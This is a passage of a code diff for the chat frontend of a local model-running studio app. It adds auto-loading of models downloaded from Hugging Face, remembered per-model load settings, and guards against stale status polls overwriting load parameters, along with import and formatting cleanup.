   NativeModelChip,
   NativeModelDropOverlay,
-  type NativeIntent,
   useChooseNativeModel,
   useNativeIntentStore,
   useNativeModelDrop,
   useNativePathLeasesSupported,
 } from "@/features/native-intents";
+import { ProjectSourcesPanel } from "@/features/rag/components/project-sources-panel";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { isTauri } from "@/lib/api-base";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import {
   BubbleChatTemporaryIcon,
@@ -37,7 +40,6 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
-import type { PanelImperativeHandle } from "react-resizable-panels";
 import {
   type CSSProperties,
   type ReactElement,
@@ -48,10 +50,16 @@ import {
   useRef,
   useState,
 } from "react";
-import { toast } from "@/lib/toast";
+import type { PanelImperativeHandle } from "react-resizable-panels";
 import { listLocalModels } from "./api/chat-api";
+import { ArtifactSurface } from "./artifacts/artifact-surface";
+import {
+  clearAutoOpenedArtifacts,
+  useChatArtifactsStore,
+  useSelectedChatArtifact,
+} from "./artifacts/store";
+import type { ChatArtifact, ChatArtifactSurface } from "./artifacts/types";
 import { ChatSettingsPanel } from "./chat-settings-sheet";
-import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
 import { ContextUsageBar } from "./components/context-usage-bar";
 import { ModelLoadInlineStatus } from "./components/model-load-status";
 import { ProjectSwitcher } from "./components/project-switcher";
@@ -63,12 +71,11 @@ import {
 import { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
 import type { SelectedModelInput } from "./hooks/use-chat-model-runtime";
 import { useChatProjects } from "./hooks/use-chat-projects";
-import { useStagedModelPreparation } from "./hooks/use-staged-model-preparation";
-import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 import {
   type SidebarItem,
   useChatSidebarItems,
 } from "./hooks/use-chat-sidebar-items";
+import { useStagedModelPreparation } from "./hooks/use-staged-model-preparation";
 import {
   clearTrainingCompareHandoff,
   getTrainingCompareHandoff,
@@ -101,19 +108,15 @@ import {
   CHAT_TOOLS_ENABLED_KEY,
   CHAT_WEB_FETCH_TOOLS_ENABLED_KEY,
   hasGgufSource,
+  isDownloadableHubRepo,
   loadOptionalBool,
+  pendingSelectionMatches,
   useChatRuntimeStore,
 } from "./stores/chat-runtime-store";
+import type { PendingModelSelection } from "./stores/chat-runtime-store";
 import { useChatPreferencesStore } from "./stores/chat-preferences-store";
 import { useExternalProvidersStore } from "./stores/external-providers-store";
 import { buildChatTourSteps } from "./tour";
-import { ArtifactSurface } from "./artifacts/artifact-surface";
-import {
-  clearAutoOpenedArtifacts,
-  useChatArtifactsStore,
-  useSelectedChatArtifact,
-} from "./artifacts/store";
-import type { ChatArtifact, ChatArtifactSurface } from "./artifacts/types";
 import type { ChatView, MessageRecord } from "./types";
 import {
   getStoredChatThread,
@@ -912,7 +915,9 @@ function ProjectLanding({
               },
             ] as const;
           }
-          const messages = await listStoredChatMessages(item.id).catch(() => []);
+          const messages = await listStoredChatMessages(item.id).catch(
+            () => [],
+          );
           const firstUserMessage =
             messages.find((message) => message.role === "user") ?? messages[0];
           return [
@@ -1002,41 +1007,41 @@ function ProjectLanding({
             {projectTab === "sources" ? (
               <ProjectSourcesPanel projectId={projectId} />
             ) : (
-            <div className="mt-8 flex flex-col gap-1">
-              {items.map((item) => {
-                const preview = previews[item.id];
-                return (
-                  <button
-                    key={`${item.type}:${item.id}`}
-                    type="button"
-                    onClick={() => {
-                      navigate({
-                        to: "/chat",
-                        search:
-                          item.type === "single"
-                            ? { thread: item.id, project: projectId }
-                            : { compare: item.id, project: projectId },
-                      });
-                    }}
-                    className="group flex min-h-[58px] w-full items-center gap-4 rounded-full px-4 py-2 text-left transition-colors hover:bg-nav-surface-hover"
-                  >
-                    <div className="min-w-0 flex-1">
-                      <div className="truncate text-[15px] font-semibold leading-5 text-foreground">
-                        {item.title}
-                      </div>
-                      {preview?.snippet ? (
-                        <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
-                          {preview.snippet}
+              <div className="mt-8 flex flex-col gap-1">
+                {items.map((item) => {
+                  const preview = previews[item.id];
+                  return (
+                    <button
+                      key={`${item.type}:${item.id}`}
+                      type="button"
+                      onClick={() => {
+                        navigate({
+                          to: "/chat",
+                          search:
+                            item.type === "single"
+                              ? { thread: item.id, project: projectId }
+                              : { compare: item.id, project: projectId },
+                        });
+                      }}
+                      className="group flex min-h-[58px] w-full items-center gap-4 rounded-full px-4 py-2 text-left transition-colors hover:bg-nav-surface-hover"
+                    >
+                      <div className="min-w-0 flex-1">
+                        <div className="truncate text-[15px] font-semibold leading-5 text-foreground">
+                          {item.title}
                         </div>
-                      ) : null}
-                    </div>
-                    <span className="shrink-0 text-[14px] text-muted-foreground">
-                      {preview?.date ?? formatProjectChatDate(item.createdAt)}
-                    </span>
-                  </button>
-                );
-              })}
-            </div>
+                        {preview?.snippet ? (
+                          <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
+                            {preview.snippet}
+                          </div>
+                        ) : null}
+                      </div>
+                      <span className="shrink-0 text-[14px] text-muted-foreground">
+                        {preview?.date ?? formatProjectChatDate(item.createdAt)}
+                      </span>
+                    </button>
+                  );
+                })}
+              </div>
             )}
           </div>
         </div>
@@ -1073,11 +1078,16 @@ export function ChatPage({
 
   const settingsOpen = useChatRuntimeStore((s) => s.settingsPanelOpen);
   const setSettingsOpen = useChatRuntimeStore((s) => s.setSettingsPanelOpen);
-  const loadOnSelection = useChatRuntimeStore((s) => s.loadOnSelection);
-  const setLoadOnSelection = useChatRuntimeStore((s) => s.setLoadOnSelection);
   // Deferred-load staging: downloads a staged GGUF (if needed) and reads its
   // header context so the sheet can show the context slider before the load.
-  const stagedDownload = useStagedModelPreparation();
+  // autoLoad picks instead load the cached file as soon as the download ends;
+  // selectModel is defined below, so the load runs through a ref.
+  const autoLoadStagedRef = useRef<
+    ((pending: PendingModelSelection) => void) | null
+  >(null);
+  const stagedDownload = useStagedModelPreparation({
+    onAutoLoad: (pending) => autoLoadStagedRef.current?.(pending),
+  });
   // Abandon a staged pick: the store action cancels its in-flight download and
   // reverts the edited knobs, so nothing lingers after the user walks away.
   const abandonStaged = useCallback(() => {
@@ -1255,6 +1265,28 @@ export function ChatPage({
     refreshRef.current = refresh;
     selectModelRef.current = selectModel;
   }, [refresh, selectModel]);
+  // Load a cached autoLoad pick once its download finishes. The sheet was never
+  // opened, so on a load failure just drop the orphaned staged knobs.
+  autoLoadStagedRef.current = (pending) => {
+    void selectModel({
+      ...pending,
+      isDownloaded: true,
+      forceReload: true,
+      keepSpeculative: false,
+      throwOnError: true,
+    }).catch(() => {
+      const store = useChatRuntimeStore.getState();
+      // selectModel only clears pendingSelection on success, so a failed
+      // auto-load leaves our staged pick (and its edited load knobs) behind.
+      // Abandon it when it is still the active stage; otherwise just revert the
+      // settings if the stage was already cleared by something else.
+      if (pendingSelectionMatches(store.pendingSelection, pending)) {
+        store.abandonStagedModel();
+      } else if (!store.pendingSelection) {
+        store.resetModelSettingsToLoaded();
+      }
+    });
+  };
   const isExternalModel = useMemo(
     () => isExternalModelId(inferenceParams.checkpoint),
     [inferenceParams.checkpoint],
@@ -1449,7 +1481,9 @@ export function ChatPage({
       }
 
       if (search.thread) {
-        const thread = await getStoredChatThread(search.thread).catch(() => null);
+        const thread = await getStoredChatThread(search.thread).catch(
+          () => null,
+        );
         if (!canceled) {
           const projectId = thread?.projectId ?? null;
           setCurrentProjectId(projectId);
@@ -1596,11 +1630,16 @@ export function ChatPage({
   const stageOrLoad = useCallback(
     async (selection: SelectedModelInput) => {
       const store = useChatRuntimeStore.getState();
-      // Only GGUF picks have pre-load options worth staging. Non-GGUF models
-      // (and the toggle-on case) load immediately, so e.g. a trust_remote_code
-      // approval surfaces through the normal load path.
-      if (store.loadOnSelection || !hasGgufSource(selection)) {
-        // Abandon any staged GGUF first so its edited knobs (e.g. a custom
+      // An un-cached HF repo (GGUF variant or a full non-GGUF snapshot) downloads
+      // through the manager first (global indicator), then auto-loads. Everything
+      // else -- cached picks, local/native files, LoRA, external -- loads now.
+      const wantManagerDownload =
+        isDownloadableHubRepo(selection) && !selection.isDownloaded;
+      if (
+        (!hasGgufSource(selection) && !wantManagerDownload) ||
+        (store.loadOnSelection && selection.isDownloaded)
+      ) {
+        // Abandon any staged pick first so its edited knobs (e.g. a custom
         // context length) don't leak into this immediate load -- resolveLoad
         // reads customContextLength before checking the target is GGUF.
         abandonStaged();
@@ -1616,7 +1655,8 @@ export function ChatPage({
         return;
       }
       // Tear down any existing staged pick first so its in-flight download is
-      // cancelled, not left running after we rebind to the new pick.
+      // cancelled, not left running after we rebind to the new pick. With the
+      // toggle on, autoLoad downloads silently then loads; off stages for the sheet.
       abandonStaged();
       store.stageModel({
         id: selection.id,
@@ -1626,6 +1666,8 @@ export function ChatPage({
         expectedBytes: selection.expectedBytes,
         nativePathToken: selection.nativePathToken,
         isGguf: selection.isGguf,
+        isHubRepo: wantManagerDownload || undefined,
+        autoLoad: store.loadOnSelection,
       });
     },
     [abandonStaged, selectModel],
@@ -1719,8 +1761,7 @@ export function ChatPage({
           selectedProvider?.providerType,
           selectedExternal?.modelId,
           {
-            isReasoningProvider:
-              selectedProvider?.isReasoningModel === true,
+            isReasoningProvider: selectedProvider?.isReasoningModel === true,
             baseUrl: selectedProvider?.baseUrl ?? null,
           },
         );
@@ -1878,6 +1919,7 @@ export function ChatPage({
         }
         const selection = {
           id: value,
+          source: meta?.source,
           isLora: meta?.isLora,
           ggufVariant: meta?.ggufVariant,
           isDownloaded: meta?.isDownloaded,
@@ -1977,8 +2019,7 @@ export function ChatPage({
           if (!usage) return;
           const store = useChatRuntimeStore.getState();
           const activeCheckpoint = store.params.checkpoint;
-          const usageModelId =
-            (usage as { modelId?: unknown }).modelId;
+          const usageModelId = (usage as { modelId?: unknown }).modelId;
           // Scope by modelId when present; reject if no active checkpoint
           // (model-scoped usage can't be attributed to "nothing").
           if (typeof usageModelId === "string" && usageModelId) {
@@ -2262,7 +2303,7 @@ export function ChatPage({
             beneath it, instead of a hard cut. */}
         {view.mode !== "compare" && (
           <div
-            aria-hidden
+            aria-hidden={true}
             className="pointer-events-none absolute left-0 right-[10px] top-[48px] z-20 h-6 bg-gradient-to-b from-background to-transparent"
           />
         )}
@@ -2284,8 +2325,6 @@ export function ChatPage({
                 activeGgufVariant={activeGgufVariant}
                 onValueChange={handleCheckpointChange}
                 onEject={handleEject}
-                loadOnSelection={loadOnSelection}
-                onLoadOnSelectionChange={setLoadOnSelection}
                 onFoldersChange={refreshLocalModels}
                 onPickLocalModel={isTauri ? chooseNativeModel : undefined}
                 onModelsChange={refreshModelLists}
@@ -2313,7 +2352,7 @@ export function ChatPage({
                 />
                 {currentProject && activeThreadId ? (
                   <>
-                    <span className="shrink-0" aria-hidden>
+                    <span className="shrink-0" aria-hidden={true}>
                       /
                     </span>
                     <span className="min-w-0 truncate">
@@ -2555,7 +2594,8 @@ export function ChatPage({
         stagedDownloadFraction={stagedDownload.progress?.fraction ?? null}
         onCancelStagedDownload={() =>
           stagedDownload.cancelDownload(
-            useChatRuntimeStore.getState().pendingSelection?.ggufVariant ?? null,
+            useChatRuntimeStore.getState().pendingSelection?.ggufVariant ??
+              null,
           )
         }
       />
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 77d7cf4c6d..bd315e19d4 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -17,6 +17,12 @@ import {
   AlertDialogTitle,
 } from "@/components/ui/alert-dialog";
 import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
+import {
+  clearRememberedLoadSettings,
+  loadRememberedLoadSettings,
+  saveRememberedLoadSettings,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import {
   Dialog,
   DialogContent,
@@ -520,9 +526,13 @@ export function ChatSettingsPanel({
   })();
   const isLoadedGguf =
     useChatRuntimeStore((s) => s.activeGgufVariant) != null;
-  const isGguf = isLoadedGguf || pendingIsGguf;
-  // A staged pick is always a local GGUF, so show its Model section (and the
-  // Load button) even when the currently active model is external.
+  // While a pick is staged the sheet configures *that* model, so its GGUF-ness
+  // (not the currently loaded model's) decides whether the GGUF-only controls
+  // show. Otherwise a staged non-GGUF Hub repo would inherit the loaded GGUF's
+  // context/KV/speculative controls.
+  const isGguf = pendingSelection != null ? pendingIsGguf : isLoadedGguf;
+  // The Model section (and Load button) shows for any staged pick, even when the
+  // currently active model is external.
   const hasModelContent =
     pendingSelection != null ||
     (!isExternalModel && (isGguf || Boolean(params.checkpoint)));
@@ -599,6 +609,29 @@ export function ChatSettingsPanel({
   // pendingSelection, so the slider can use the staged model's real ceiling
   // without reading the loaded model's `ggufContextLength`.
   const stagedContextLength = pendingSelection?.contextLength ?? null;
+  // "Remember settings next time" tick for a staged model. Seeds the store from
+  // the saved per-model settings on stage, so the sheet opens with what was used
+  // last time; the tick reflects whether a saved entry exists.
+  const [remember, setRemember] = useState(false);
+  const pendingId = pendingSelection?.id ?? null;
+  useEffect(() => {
+    if (!pendingId) return;
+    const saved = loadRememberedLoadSettings(pendingId);
+    setRemember(saved != null);
+    if (!saved) return;
+    setCustomContextLength(saved.contextLength);
+    setKvCacheDtype(saved.kvCacheDtype);
+    setSpeculativeType(saved.speculativeType ?? "auto");
+    setSpecDraftNMax(saved.specDraftNMax);
+    setTensorParallel(saved.tensorParallel);
+  }, [
+    pendingId,
+    setCustomContextLength,
+    setKvCacheDtype,
+    setSpeculativeType,
+    setSpecDraftNMax,
+    setTensorParallel,
+  ]);
   // While staging, the sheet reflects the STAGED model, so its header context
   // takes precedence over the loaded model's (which may differ or be larger).
   const baseContext = pendingIsGguf ? stagedContextLength : ggufContextLength;
@@ -1148,34 +1181,61 @@ export function ChatSettingsPanel({
                 staged (deferred load), Load/Cancel takes its place: there's
                 nothing loaded to "apply" against yet. */}
             {pendingSelection ? (
-              <div className="flex flex-col gap-2">
+              <div className="flex flex-col gap-4">
                 {stagedDownloading && (
                   <p className="text-[11px] text-muted-foreground">
                     Downloading…{" "}
                     {Math.round((stagedDownloadFraction ?? 0) * 100)}%
                   </p>
                 )}
+                <label className="flex cursor-pointer items-center gap-2 pb-1.5 text-[12px] text-muted-foreground">
+                  <Checkbox
+                    className="size-3.5 rounded-full [&_[data-slot=checkbox-indicator]_svg]:size-2.5"
+                    checked={remember}
+                    onCheckedChange={(v) => setRemember(v === true)}
+                  />
+                  Remember settings next time
+                </label>
                 {stagedLoading ? (
                   // Mid-load: nothing to load or abandon until it settles, so disable.
                   <Button
                     type="button"
                     disabled
                     size="sm"
-                    className="h-7 w-fit px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
+                    className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav bg-primary text-primary-foreground hover:bg-primary/90"
                   >
                     <Spinner className="size-3.5" />
                     Loading…
                   </Button>
                 ) : (
-                  <div className="flex flex-wrap gap-1.5">
+                  <div className="grid grid-cols-2 gap-3">
                     <Button
                       type="button"
-                      onClick={() => onLoadPendingModel?.()}
+                      onClick={() => {
+                        // Persist (or clear) this model's load knobs before loading.
+                        // Save the explicit context override only (null = auto), so
+                        // restoring never forces the native context into an OOM.
+                        const pid = pendingSelection?.id;
+                        if (pid) {
+                          if (remember) {
+                            saveRememberedLoadSettings(pid, {
+                              contextLength: customContextLength,
+                              kvCacheDtype,
+                              speculativeType,
+                              specDraftNMax,
+                              tensorParallel,
+                            });
+                          } else {
+                            clearRememberedLoadSettings(pid);
+                          }
+                        }
+                        onLoadPendingModel?.();
+                      }}
                       // Disabled while a different model is mid-load: selectModel
                       // refuses a concurrent load, so the click could only toast.
                       disabled={stagedDownloading || loadingModel != null}
                       size="sm"
-                      className="h-7 px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
+                      className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav bg-primary text-primary-foreground hover:bg-primary/90"
                     >
                       {loadingModel != null ? "Another model loading…" : "Load model"}
                     </Button>
@@ -1189,7 +1249,7 @@ export function ChatSettingsPanel({
                         if (stagedDownloading) onCancelStagedDownload?.();
                         abandonStagedModel();
                       }}
-                      className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
+                      className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav text-muted-foreground"
                     >
                       Cancel
                     </Button>
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index bbf106400c..e23d1b0b33 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -25,6 +25,7 @@ import {
 } from "../api/chat-api";
 import { formatEta, formatRate } from "../utils/format-transfer";
 import {
+  isLocalModelPath,
   pendingSelectionMatches,
   readPersistedSpeculativeType,
   resolveToolsEnabledOnLoad,
@@ -57,6 +58,11 @@ export type SelectedModelInput = {
   id: string;
   isLora?: boolean;
   ggufVariant?: string;
+  /** Where the pick came from (e.g. "hub", "local", "external"). Used to decide
+   *  whether an uncached repo should download via the Hub manager. */
+  source?: string;
+  /** Uncached non-GGUF HF repo staged for a snapshot download (variant null). */
+  isHubRepo?: boolean;
   loadingDescription?: string;
   isDownloaded?: boolean;
   expectedBytes?: number;
@@ -484,8 +490,7 @@ export function useChatModelRuntime() {
         : undefined;
       const previousIsLora =
         previousModel?.isLora ?? (previousLora?.exportType === "lora");
-      // Covers Unix absolute (/), relative (./  ../), tilde (~/), Windows drive (C:\), UNC (\\server)
-      const isLocal = /^(\/|\.{1,2}[\\/]|~[\\/]|[A-Za-z]:[\\/]|\\\\)/.test(modelId);
+      const isLocal = isLocalModelPath(modelId);
       const isCachedLora = isLora && isLocal;
       const loadingDescription = [
         currentCheckpoint ? "Switching models." : null,
diff --git a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
index b11f496aa5..d8076c720b 100644
--- a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
+++ b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
@@ -3,9 +3,9 @@
 
 import { useCallback, useEffect } from "react";
 
-import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 import { useRepoDownload } from "@/features/hub/download-manager/use-repo-download";
 import type { DownloadJob } from "@/features/hub/download-manager/use-repo-download";
+import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 
 import { fetchGgufContextLength } from "../api/chat-api";
 import {
@@ -13,6 +13,7 @@ import {
   pendingSelectionMatches,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
+import type { PendingModelSelection } from "../stores/chat-runtime-store";
 
 /**
  * Drives the deferred ("Load on selection" off) staging flow for a GGUF:
@@ -23,7 +24,10 @@ import {
  * the loaded model's `ggufContextLength`). Returns the live download job so the
  * sheet can render progress / cancel. Mount once on the chat page.
  */
-export function useStagedModelPreparation(): DownloadJob {
+export function useStagedModelPreparation(opts?: {
+  /** Load the cached file once an autoLoad pick's download completes. */
+  onAutoLoad?: (pending: PendingModelSelection) => void;
+}): DownloadJob {
   const pendingId = useChatRuntimeStore((s) => s.pendingSelection?.id ?? null);
   const pendingVariant = useChatRuntimeStore(
     (s) => s.pendingSelection?.ggufVariant ?? null,
@@ -35,6 +39,10 @@ export function useStagedModelPreparation(): DownloadJob {
   const pendingIsGguf = useChatRuntimeStore((s) =>
     isPendingGguf(s.pendingSelection),
   );
+  // Non-GGUF HF repos download a full snapshot (variant null) but have no header.
+  const pendingIsHubRepo = useChatRuntimeStore(
+    (s) => s.pendingSelection?.isHubRepo ?? false,
+  );
   const pendingDownloaded = useChatRuntimeStore(
     (s) => s.pendingSelection?.isDownloaded ?? false,
   );
@@ -42,6 +50,19 @@ export function useStagedModelPreparation(): DownloadJob {
     (s) => s.pendingSelection?.contextLength != null,
   );
   const setPendingSelection = useChatRuntimeStore((s) => s.setPendingSelection);
+  const onAutoLoadRef = useLatestRef(opts?.onAutoLoad);
+
+  // A failed or cancelled autoLoad download has no sheet to retry from, so drop
+  // the staged pick rather than leave it waiting on a load that won't come.
+  const handleAutoLoadAbort = useCallback((variant: string | null) => {
+    const latest = useChatRuntimeStore.getState().pendingSelection;
+    if (
+      latest?.autoLoad &&
+      (latest.ggufVariant ?? null) === (variant ?? null)
+    ) {
+      useChatRuntimeStore.getState().abandonStagedModel();
+    }
+  }, []);
 
   const fetchContextMetadata = useCallback(async () => {
     const current = useChatRuntimeStore.getState().pendingSelection;
@@ -76,9 +97,21 @@ export function useStagedModelPreparation(): DownloadJob {
     // inert until something is staged.
     repoId: pendingId ?? "__staged_idle__",
     activeVariant: pendingVariant,
-    onComplete: () => {
+    onComplete: (variant) => {
+      // autoLoad picks load the cached file now; staged picks read the header so
+      // the sheet's context slider can show before a manual load.
+      const latest = useChatRuntimeStore.getState().pendingSelection;
+      if (
+        latest?.autoLoad &&
+        (latest.ggufVariant ?? null) === (variant ?? null)
+      ) {
+        onAutoLoadRef.current?.(latest);
+        return;
+      }
       void fetchContextMetadata();
     },
+    onError: handleAutoLoadAbort,
+    onCancelled: handleAutoLoadAbort,
   });
 
   // job.requestStartDownload's identity changes per render; hold it in a ref so
@@ -87,9 +120,18 @@ export function useStagedModelPreparation(): DownloadJob {
   const fetchMetadataRef = useLatestRef(fetchContextMetadata);
 
   useEffect(() => {
-    if (!pendingId || !pendingIsGguf || pendingHasContext) return;
+    // GGUF picks (header worth reading) and uncached non-GGUF hub repos (full
+    // snapshot, no header) both run here; everything else is loaded directly.
+    if (
+      !pendingId ||
+      (!pendingIsGguf && !pendingIsHubRepo) ||
+      pendingHasContext
+    ) {
+      return;
+    }
     // Native files and already-downloaded HF files are local: read the header
-    // now. Otherwise download first; onComplete then reads it.
+    // now. Otherwise download first (a GGUF variant, or a null-variant snapshot
+    // for a hub repo); onComplete then reads the header or auto-loads.
     if (pendingNativeToken || pendingDownloaded) {
       void fetchMetadataRef.current();
     } else {
@@ -102,6 +144,7 @@ export function useStagedModelPreparation(): DownloadJob {
     pendingVariant,
     pendingNativeToken,
     pendingIsGguf,
+    pendingIsHubRepo,
     pendingDownloaded,
     pendingHasContext,
     startDownloadRef,
diff --git a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
index 9b7ca08c1b..9386650fee 100644
--- a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
+++ b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
@@ -175,6 +175,9 @@ export function applyActiveModelStatusToStore(
     status.chat_template === undefined
       ? prevState.defaultChatTemplate
       : status.chat_template;
+  // While a load is in flight, performLoad owns the load params. Seeding them
+  // from a stale poll here would clobber the values the load dialog just set.
+  const seedLoadParams = !prevState.modelLoading;
 
   useChatRuntimeStore.setState({
     supportsReasoning,
@@ -199,22 +202,26 @@ export function applyActiveModelStatusToStore(
     loadedIsMultimodal: isMultimodalResponse(status),
     loadedIsDiffusion: status.is_diffusion ?? false,
     specFallbackReason: status.spec_fallback_reason ?? null,
-    ...(prevState.loadedSpeculativeType === null && {
-      speculativeType: currentSpecType,
-      loadedSpeculativeType: currentSpecType,
-    }),
-    ...(status.spec_draft_n_max !== undefined &&
+    ...(seedLoadParams &&
+      prevState.loadedSpeculativeType === null && {
+        speculativeType: currentSpecType,
+        loadedSpeculativeType: currentSpecType,
+      }),
+    ...(seedLoadParams &&
+      status.spec_draft_n_max !== undefined &&
       prevState.loadedSpecDraftNMax === null &&
       prevState.specDraftNMax === null && {
         specDraftNMax: status.spec_draft_n_max ?? null,
         loadedSpecDraftNMax: status.spec_draft_n_max ?? null,
       }),
-    ...(status.cache_type_kv !== undefined &&
+    ...(seedLoadParams &&
+      status.cache_type_kv !== undefined &&
       prevState.loadedKvCacheDtype === null && {
         kvCacheDtype: status.cache_type_kv,
         loadedKvCacheDtype: status.cache_type_kv,
       }),
-    ...(status.tensor_parallel !== undefined &&
+    ...(seedLoadParams &&
+      status.tensor_parallel !== undefined &&
       prevState.loadedTensorParallel === null && {
         tensorParallel: status.tensor_parallel,
         loadedTensorParallel: status.tensor_parallel,
diff --git a/studio/frontend/src/features/chat/projects-page.tsx b/studio/frontend/src/features/chat/projects-page.tsx
index 87fe9b66ec..1651b49626 100644
--- a/studio/frontend/src/features/chat/projects-page.tsx
+++ b/studio/frontend/src/features/chat/projects-page.tsx
@@ -302,13 +302,13 @@ export function ProjectsPage() {
                 <DropdownMenuSubContent className="w-52">
                   {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
                     <DropdownMenuItem key={`ap-m-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, true)}>
-                      {label} — combined
+                      {label} (combined)
                     </DropdownMenuItem>
                   ))}
                   <DropdownMenuSeparator />
                   {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
                     <DropdownMenuItem key={`ap-s-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, false)}>
-                      {label} — per chat
+                      {label} (per chat)
                     </DropdownMenuItem>
                   ))}
                 </DropdownMenuSubContent>
@@ -318,13 +318,13 @@ export function ProjectsPage() {
                 <DropdownMenuSubContent className="w-52">
                   {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
                     <DropdownMenuItem key={`all-m-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, true)}>
-                      {label} — combined
+                      {label} (combined)
                     </DropdownMenuItem>
                   ))}
                   <DropdownMenuSeparator />
                   {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
                     <DropdownMenuItem key={`all-s-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, false)}>
-                      {label} — per chat
+                      {label} (per chat)
                     </DropdownMenuItem>
                   ))}
                 </DropdownMenuSubContent>
@@ -586,7 +586,8 @@ export function ProjectsPage() {
             <DialogTitle>Import chats</DialogTitle>
           </DialogHeader>
           <p className="text-sm text-muted-foreground">
-            <span className="font-medium text-foreground">{importFile?.name}</span> — choose where to import:
+            Choose where to import{" "}
+            <span className="font-medium text-foreground">{importFile?.name}</span>:
           </p>
           <Select
             value={importTargetId ?? "__recents__"}
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 2ec741b1bf..4cca3dc2e3 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -1,27 +1,27 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { cancelStagedModelDownload } from "@/features/hub";
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
-import { cancelStagedModelDownload } from "@/features/hub";
+import { isExternalModelId, parseExternalModelId } from "../external-providers";
 import {
   type ChatPresetSource,
   type Preset,
   getPresetSource,
 } from "../presets/preset-policy";
+import { getExternalMaxOutputTokens } from "../provider-capabilities";
 import {
   type ChatLoraSummary,
   type ChatModelSummary,
   DEFAULT_INFERENCE_PARAMS,
   type InferenceParams,
 } from "../types/runtime";
-import { isExternalModelId, parseExternalModelId } from "../external-providers";
-import { getExternalMaxOutputTokens } from "../provider-capabilities";
-import { useExternalProvidersStore } from "./external-providers-store";
 import {
   loadChatSettingsWithLegacyImport,
   savePersistedChatSettingsPatch,
 } from "../utils/chat-settings-storage";
+import { useExternalProvidersStore } from "./external-providers-store";
 
 const HF_TOKEN_KEY = "unsloth_hf_token";
 const HF_TOKEN_CHANGED_EVENT = "unsloth:hf-token-changed";
@@ -37,6 +37,10 @@ export const CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY =
 export const CHAT_MCP_ENABLED_KEY = "unsloth_chat_mcp_enabled";
 export const CHAT_CONFIRM_TOOL_CALLS_KEY = "unsloth_chat_confirm_tool_calls";
 export const CHAT_LOAD_ON_SELECTION_KEY = "unsloth_chat_load_on_selection";
+export const CHAT_EXPAND_QUANTIZATIONS_KEY =
+  "unsloth_chat_expand_quantizations";
+export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
+  "unsloth_chat_show_all_quantizations";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
@@ -53,9 +57,7 @@ export const CHAT_SPECULATIVE_TYPE_KEY = "unsloth_chat_speculative_type";
 // choice would silently no-op on models without an MTP head. Unknown -> auto.
 const PERSISTED_SPEC_MODES = new Set(["auto", "ngram", "off"]);
 
-export type RagSource =
-  | { type: "thread" }
-  | { type: "kb"; kbId: string };
+export type RagSource = { type: "thread" } | { type: "kb"; kbId: string };
 
 export type RagMode = "hybrid" | "lexical" | "dense";
 
@@ -120,7 +122,11 @@ function loadRagTopK(): number {
 function loadRagNumber(
   key: string,
   fallback: number,
-  { min, max, integer = false }: { min: number; max: number; integer?: boolean },
+  {
+    min,
+    max,
+    integer = false,
+  }: { min: number; max: number; integer?: boolean },
 ): number {
   if (typeof window === "undefined") return fallback;
   try {
@@ -360,7 +366,10 @@ export function normalizeSpeculativeType(
   }
   if (s === "mtp+ngram") return "mtp+ngram";
   // Comma-chained legacy values (e.g. from older backend echoes).
